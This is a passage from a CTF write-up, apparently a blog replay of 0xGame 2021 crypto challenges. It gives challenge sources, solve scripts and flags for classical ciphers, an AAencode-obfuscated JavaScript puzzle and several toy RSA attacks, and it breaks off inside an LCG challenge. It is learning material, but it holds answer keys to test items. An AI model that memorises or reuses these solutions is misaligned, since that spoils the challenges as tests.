0xgame2021复现


crypto

CuteCaesar

下载附件

1
~呜嗷嗷嗷嗷呜呜呜嗷~呜嗷呜呜~嗷啊嗷啊嗷啊呜~啊呜呜~嗷~呜呜嗷嗷~嗷嗷嗷呜啊呜嗷~呜嗷呜呜~嗷~~啊嗷啊呜嗷呜呜啊~嗷~呜呜嗷呜呜嗷嗷嗷呜啊嗷呜~呜嗷呜呜~嗷~~啊嗷啊呜嗷呜嗷呜~嗷~呜呜嗷嗷~嗷嗷嗷呜啊呜啊嗷呜嗷呜呜啊~呜啊啊嗷啊呜~呜~嗷~嗷~呜呜呜呜呜嗷嗷嗷呜呜~嗷啊呜嗷呜呜~呜啊嗷啊嗷啊呜~呜啊~~嗷~呜呜呜呜啊嗷嗷嗷呜呜~嗷啊呜嗷呜呜~嗷~呜啊嗷啊呜嗷呜嗷~~嗷~呜呜呜呜啊嗷嗷嗷呜啊嗷啊~呜嗷呜呜~呜呜嗷啊

兽语解密

凯撒解密

最后flag为

1
0xGame{caesar_1s_n0t_cute}

ezVigenere

下载附件

1
2
Tig Vjieogrf eiqjes ks b oeujoe qf fpcsapuknh clqjacgtje tfzt ca utknh c sftifu og knugrxqvfp Cbgsbt cjrhfts, ccsff oo vhf neuvesu og c kfawptd. Jv enrlpas b hoso og romaamrhbdeukc twbtviuwtjqn.
Gkrtv dfucskbff bz Iipxao Dauvitva Cglmcsp kn 1553, uje dkpigr ju ebuy uq uofesutbpd bpd jopmgmfpt, cwt jv rfuitvee clm ctugmqvs uq bsgal kt vptjn 1863, titef eeovusket naugr. Ujit gaspee kt uje egsdtiqvipp lf ehjhfscgf knegcikfgtacne (Gteoeh gqr 'uje jpdfeiqjescbmg cjrhft'). Mbpy qgoqne icvf vrjgd uq inrlfoeov eoerzrtjqn tehfoet vhbv asg etueovibnlz Xihgnfte dkpigrt. Kn 1863, Gtiffrjeh Lcsjukj yat vhf hisut uq pvdljuh b ieogrbn mfvhpf og fedkpigrjpg Wkgfpesg cjrhfts. Jp tig 19ti eeovusa tig sdjeng wbu mjuauvrjduugd uq Bmcitg df Xihgnfte, bpd tq adsujtee ktt rrfueov nboe.0yIang{iovesgsu1pg_Wkgfpesg}

维吉尼亚无密钥解密

最后flag为

1
0xGame{interest1ng_Vigenere}

manyCode

下载附件

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

AAencode解密

hex解密

base32解密

base64解密

最后flag为

1
0xGame{Too_m@ny_c0d3}

ABCofRSA

下载附件

1
在RSA加密中,已知: p=9677 q=9241 e=10009 求最小的解密指数d,包上0xGame{}提交。

一把梭

最后flag为

1
0xGame{39982249}

BlackGiveRSA

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from secret import flag,p,q
assert q>p
n=p*q
e=10007
assert len(flag)==42
for i in range(6):
m=bytes_to_long(flag[i*7:i*7+7])
print(pow(m,e,n))
print("Encryption using modulus n=",n)
"""
OutPut:
1150947306854980854
243703926267532432
1069319314811079682
688582941857504686
670683629344243145
1195068175327355214
Encryption using modulus n= 1687126110378632809
"""

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
p,q=1175078221,1435756429
n,phi=p*q,(p-1)*(q-1)
d=inverse(10007,phi)
ciphertexts = [
1150947306854980854,
243703926267532432,
1069319314811079682,
688582941857504686,
670683629344243145,
1195068175327355214
]

m=b""
for c in ciphertexts:
m+=long_to_bytes(pow(c,d,n))
print(m)

运行得到

最后flag为

1
0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}

Class8

下载附件

解题思路:

1
2
3
4
5
6
7
8
第1、6位是盲文
第2、7位是跳舞的小人
第3位是猪圈密码
第4、11、16位是手机九键键盘
第5、9、14位是莫尔斯电码
第8、12位是银河字母
第10、15位是培根密码
第13位是电脑键盘,cfgb之间围着的是V

最后flag为

1
0xGame{CLASSLNRDDLDVTNB}

MyFunction

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from math import log
from secret import flag
def f(x):
return x*log(x) #log(x) is "ln(x)" used in maths

for i in flag:
print(f(ord(i)))

#185.81764852357878
574.4990091338454
302.6502712699334
443.74696491482814
511.3569191629766
466.1271722009672
591.8986757108073
399.4886369061604
522.7578523456691
557.1743503713375
307.919960569156
205.46467336623422
562.9407856869485
466.1271722009672
323.81160851522327
517.0528402371658
185.81764852357878
568.715695680272
466.1271722009672
460.51701859880916
350.5621307739105
580.2906560172057
220.40332518778592
483.0166535107027
522.7578523456691
517.0528402371658
329.13573386176114
185.81764852357878
225.41969468116838
190.6991946074207
545.6671947617738
245.66067373332604
580.2906560172057
250.763305714572
505.67017252941577
517.0528402371658
147.55517816455745
574.4990091338454
152.25645473487663
255.88233187279567
313.2035392038325
517.0528402371658
334.47301748273367
205.46467336623422
220.40332518778592
483.0166535107027
545.6671947617738
603.5392171627877

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import math
import bisect

# 给定的输出值
outputs = [
185.81764852357878, 574.4990091338454, 302.6502712699334, 443.74696491482814,
511.3569191629766, 466.1271722009672, 591.8986757108073, 399.4886369061604,
522.7578523456691, 557.1743503713375, 307.919960569156, 205.46467336623422,
562.9407856869485, 466.1271722009672, 323.81160851522327, 517.0528402371658,
185.81764852357878, 568.715695680272, 466.1271722009672, 460.51701859880916,
350.5621307739105, 580.2906560172057, 220.40332518778592, 483.0166535107027,
522.7578523456691, 517.0528402371658, 329.13573386176114, 185.81764852357878,
225.41969468116838, 190.6991946074207, 545.6671947617738, 245.66067373332604,
580.2906560172057, 250.763305714572, 505.67017252941577, 517.0528402371658,
147.55517816455745, 574.4990091338454, 152.25645473487663, 255.88233187279567,
313.2035392038325, 517.0528402371658, 334.47301748273367, 205.46467336623422,
220.40332518778592, 483.0166535107027, 545.6671947617738, 603.5392171627877
] # 同上

# 创建排序的键值列表
keys = []
values = []
for x in range(32, 127):
f_val = x * math.log(x)
keys.append(f_val)
values.append(x)

# 恢复原始字符
flag_chars = []
for value in outputs:
# 使用二分查找找到最接近的值
pos = bisect.bisect_left(keys, value)
if pos == 0:
closest = values[0]
elif pos == len(keys):
closest = values[-1]
else:
before = keys[pos - 1]
after = keys[pos]
closest = values[pos - 1] if abs(value - before) < abs(value - after) else values[pos]
flag_chars.append(chr(closest))

# 组合字符得到flag
flag = ''.join(flag_chars)
print("Recovered Flag:", flag)

运行得到

最后flag为

1
0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}

CryptoSignin3

下载附件

1
2
3
4
5
在RSA中,已知n=2422711508900009723470102727278184898228579351729629175495904760516536114771819178772843940622693480942295987032442940867670858858530606887743557817380121361626756206355705110299827107648704348792184242506797212331641569408152865458082131811787893384573565771304686373397987779236692592582009393836324438173880350455958049987506807351970912049246353746635267159741115761548052126938491673479606393396100458729618059852813438444299361468512008386975558106274324688665963516424534366163011821633197140729560513838981241752422348968312410911097523311183305812013220724215584901550592570168096761576532621840320623463208702401829189862290303098674021012353400081288819532365151476738751064469957971192132666136590103567843662591585345483671185892760751481722342403025068374371716176981888876927119331602694699049322860285991375002326127401769287658952682585275891296760732815680898653162425658904911584903825163141576325803464119867837508173795728753701563149748508464162635777787788266240105654089919642728171076155284842273517797069725130328742992830894075552022372717019366081516680737
e=10007
c=1285901843278876234855607310979623200548989981628646673003523113580651626686523566799395153922258813222744927018205882436414589516795415393990321785993777190284046937462277341231780571523062023964463963139910673601962881978696384360480028132774373962893042697866284303407898274683337284548529324550392212212259945699167254341062208031468355814520907121576009140399280898693924706067921614961798886587174234822238887374399666546113213239071736098162263227821798099750616137755055435397986788792824117529508255014392344357337010003489080209442530630893119917536518243474797351694663533728052713570044084663268350004738561234330890283895430742958255842196396542672482459665354739161276178850775803757753274712331067038077233072381051447436014423088822190073982228377699578821863871042501139434131053044240618505423456248872825597521393564957261041606004454706987978944644129728005540587982321571481413548381251589071459468890948819121023006292105804319208332473499823959882524985324120811768843639294924500467781666073366713198751960913508720530656411097981933156605831180926219778514434

设c是m的加密结果,求5m的加密结果,由于答案可能比较长,只要取其十进制的最后25位,包上0xGame提交。若不足25位或者最后25位以0开头,需要在前面填充前导0至25位。

exp:

1
2
3
4
5
6
7
8
9
10
11
import gmpy2
from Crypto.Util.number import *
from functools import reduce
import mpmath

n=2422711508900009723470102727278184898228579351729629175495904760516536114771819178772843940622693480942295987032442940867670858858530606887743557817380121361626756206355705110299827107648704348792184242506797212331641569408152865458082131811787893384573565771304686373397987779236692592582009393836324438173880350455958049987506807351970912049246353746635267159741115761548052126938491673479606393396100458729618059852813438444299361468512008386975558106274324688665963516424534366163011821633197140729560513838981241752422348968312410911097523311183305812013220724215584901550592570168096761576532621840320623463208702401829189862290303098674021012353400081288819532365151476738751064469957971192132666136590103567843662591585345483671185892760751481722342403025068374371716176981888876927119331602694699049322860285991375002326127401769287658952682585275891296760732815680898653162425658904911584903825163141576325803464119867837508173795728753701563149748508464162635777787788266240105654089919642728171076155284842273517797069725130328742992830894075552022372717019366081516680737
e=10007
c=1285901843278876234855607310979623200548989981628646673003523113580651626686523566799395153922258813222744927018205882436414589516795415393990321785993777190284046937462277341231780571523062023964463963139910673601962881978696384360480028132774373962893042697866284303407898274683337284548529324550392212212259945699167254341062208031468355814520907121576009140399280898693924706067921614961798886587174234822238887374399666546113213239071736098162263227821798099750616137755055435397986788792824117529508255014392344357337010003489080209442530630893119917536518243474797351694663533728052713570044084663268350004738561234330890283895430742958255842196396542672482459665354739161276178850775803757753274712331067038077233072381051447436014423088822190073982228377699578821863871042501139434131053044240618505423456248872825597521393564957261041606004454706987978944644129728005540587982321571481413548381251589071459468890948819121023006292105804319208332473499823959882524985324120811768843639294924500467781666073366713198751960913508720530656411097981933156605831180926219778514434

c1=pow(5**e*c,1,n)
print(str(c1)[-25:])

运行得到

最后flag为

1
0xGame{8489769636593649908538102}

Fermat_with_Binomial

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *

f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint1 = pow(2021 * p + q, 20212021, n)
hint2 = pow(1010 * p + 1011, q, n)
f = open('message.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint1={hint1}\n')
f.write(f'hint2={hint2}\n')
f.close()

#n=16785815493192323072561202520621502124354484873141439416485516896177209180170954358917536655296832389378159385508553582292316986439935870611836481627326624997826278718936899131627405269577001541561786652522795230359038066756500166621870294967504124007392361309677236631475857268249665705586160191841238378747704555589725214417560311950480552359244858338836565084199965357719917862865124721829629583801017461751844801305560796234037169537157236798038347132037065583033136175781724971303334634074643113231202854595470566133689932557205673653855603056520355846208058018605770349841277407297822002222655287986001654291931
c=12824901853900928176431805967670922082099408423359348740734692908225214283313020989235896494342846615758839954388241321859784138067628962023114456647732896918446926075150525242914486413449921088854955092881525457824965211111708060188052025883249556408765110000416480911959539207515903372662706942051175602406993472605337450011214198253823995374918086046571064526610180657696977528863091044723572782646772325280660263920280922710139393502451340521170658459979145980603061780857907568888355186816350804498385690058379721372491179071169195852152316654113738209736216721551163445193680416946172818040555458013285013076026
hint1=9100042084582559120159031222877385918131627674965428834732092483610222485185500852690169889158524199071605287690845087305188994225784309780346317628828223709405785692567210943043233210503182916135218501703770962120690794212530724251491005258749274621926983941779357144111637154016600411666779133073494389367203037839113492716852468953430962340504727673205375932008380231967356987830939184941935559824751997435555229308732296050345353884892269792098915710385538823080718443304466681676033122340721360871484264707931485035700119764663528137240048303559376884120155943565064746404763004240115053288163324152157473617990
hint2=9715835317933770028352656960194612511232332508578016476234653979758738724483036248158492859699534774069055258691831221183554038938838861427968839315936796645021031146434403767322049813439272141318924746372792359202961866805563916806745433288822292142587118556212747743843666517677675229877703300490191424342819740469916571702460052662852376459432341889334300260369825585572770112675953798390556158097350576177067289449449873243010686716960572551733859485003137822891360533488207469003452641541262228655905655933669756058464699629520449342902123166997135656358968094821077563145658394017534114487847397469149938035501

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import long_to_bytes, GCD, inverse

# 给定的参数
n = 16785815493192323072561202520621502124354484873141439416485516896177209180170954358917536655296832389378159385508553582292316986439935870611836481627326624997826278718936899131627405269577001541561786652522795230359038066756500166621870294967504124007392361309677236631475857268249665705586160191841238378747704555589725214417560311950480552359244858338836565084199965357719917862865124721829629583801017461751844801305560796234037169537157236798038347132037065583033136175781724971303334634074643113231202854595470566133689932557205673653855603056520355846208058018605770349841277407297822002222655287986001654291931
c = 12824901853900928176431805967670922082099408423359348740734692908225214283313020989235896494342846615758839954388241321859784138067628962023114456647732896918446926075150525242914486413449921088854955092881525457824965211111708060188052025883249556408765110000416480911959539207515903372662706942051175602406993472605337450011214198253823995374918086046571064526610180657696977528863091044723572782646772325280660263920280922710139393502451340521170658459979145980603061780857907568888355186816350804498385690058379721372491179071169195852152316654113738209736216721551163445193680416946172818040555458013285013076026
hint1 = 9100042084582559120159031222877385918131627674965428834732092483610222485185500852690169889158524199071605287690845087305188994225784309780346317628828223709405785692567210943043233210503182916135218501703770962120690794212530724251491005258749274621926983941779357144111637154016600411666779133073494389367203037839113492716852468953430962340504727673205375932008380231967356987830939184941935559824751997435555229308732296050345353884892269792098915710385538823080718443304466681676033122340721360871484264707931485035700119764663528137240048303559376884120155943565064746404763004240115053288163324152157473617990
hint2 = 9715835317933770028352656960194612511232332508578016476234653979758738724483036248158492859699534774069055258691831221183554038938838861427968839315936796645021031146434403767322049813439272141318924746372792359202961866805563916806745433288822292142587118556212747743843666517677675229877703300490191424342819740469916571702460052662852376459432341889334300260369825585572770112675953798390556158097350576177067289449449873243010686716960572551733859485003137822891360533488207469003452641541262228655905655933669756058464699629520449342902123166997135656358968094821077563145658394017534114487847397469149938035501
e = 65537

# 计算表达式:pow(hint2-1011, 20212021, n) * pow(2021, 20212021, n) - hint1 * pow(1010, 20212021, n)
expr1 = pow((hint2 - 1011) % n, 20212021, n)
expr2 = pow(2021, 20212021, n)
expr3 = hint1 % n
expr4 = pow(1010, 20212021, n)

# 计算整个表达式模 n
expression = (expr1 * expr2 - expr3 * expr4) % n

# 计算 q = GCD(n, expression)
q = GCD(n, expression)

# 计算 p = n // q
p = n // q

# 验证 p 和 q 是否正确
if p * q != n:
print("Error: p * q != n")
exit(1)

# 计算欧拉函数
phi = (p - 1) * (q - 1)

# 计算私钥指数 d
d = inverse(e, phi)

# 解密消息
m = pow(c, d, n)

# 将整数转换为字节并打印
flag = long_to_bytes(m)
print("Recovered Flag:", flag.decode())

运行得到

最后flag为

1
0xGame{F3rm4t_with_Bin0mi41_th30r3m}

Wilson

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import next_prime
# length of flag is 37
p = getPrime(512)
q = next_prime(p)
f = open('flag.txt', 'rb')
flag = bytes_to_long(f.read())
f.close()
n = p * q
noise = 1
for i in range(1, p):
noise = (noise * i) % q
e = 65537
m = noise * flag % n
c = pow(m, e, n)
print(n)
print(c)
# n=100189599139045520692403514463438191919411159406336533264628466489136567106850053961211156503402646767637582308399326881242266939213884415929464845632614082572953261137505406070253764077806987137037034310296845793371123661392496824861923474884525612617707544570336505659782455487338427377348917874318463239257
# c=52162333124576686957153373769942403179822965367913494233622980146825418118797445630968150884296792193181121863149103395864786568453259110222784314675525339496760525297631678262500661476204948790654439464714409499209171376596016201182419029308570372822332848217278055720486674459768995713889509753949399299473

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from Crypto.Util.number import long_to_bytes
import gmpy2

# 给定的参数
n = 100189599139045520692403514463438191919411159406336533264628466489136567106850053961211156503402646767637582308399326881242266939213884415929464845632614082572953261137505406070253764077806987137037034310296845793371123661392496824861923474884525612617707544570336505659782455487338427377348917874318463239257
c = 52162333124576686957153373769942403179822965367913494233622980146825418118797445630968150884296792193181121863149103395864786568453259110222784314675525339496760525297631678262500661476204948790654439464714409499209171376596016201182419029308570372822332848217278055720486674459768995713889509753949399299473

# 1. 分解 n (p 和 q 是相邻的素数)
root = gmpy2.isqrt(n)
p = gmpy2.next_prime(root - 10000) # 从平方根附近开始查找

# 查找相邻的素数对
while True:
q = gmpy2.next_prime(p)
if p * q == n:
break
p = gmpy2.next_prime(p)

print(f"Found factors: p = {p}, q = {q}")

# 2. 计算噪声 (noise = (p-1)! mod q)
# 使用威尔逊定理的推论:noise = -1 * (p * (p+1) * ... * (q-1))^{-1} mod q
start = p
end = q - 1
prod = 1

# 计算从 p 到 q-1 的乘积 mod q
for i in range(start, end + 1):
prod = (prod * i) % q

# 计算乘积的模逆元
prod_inv = gmpy2.invert(prod, q)
noise = (-prod_inv) % q # 根据威尔逊定理的推论

# 3. RSA 解密
phi = (p - 1) * (q - 1)
e = 65537
d = gmpy2.invert(e, phi)
m = pow(c, int(d), n)

# 4. 恢复 flag (m = noise * flag mod n)
noise_inv = gmpy2.invert(noise, n)
flag = (m * noise_inv) % n

# 5. 转换为字节
flag_bytes = long_to_bytes(flag)
print("\nRecovered Flag:", flag_bytes.decode())

运行得到

最后flag为

1
0xGame{n0w_y0u_kn0w_Wi1s0n's_the0rem}

Boom

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *

f = open('flag.txt', 'r')
flag = f.read()
f.close()
assert flag[:7] == "0xGame{"


class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.m = getPrime(32)
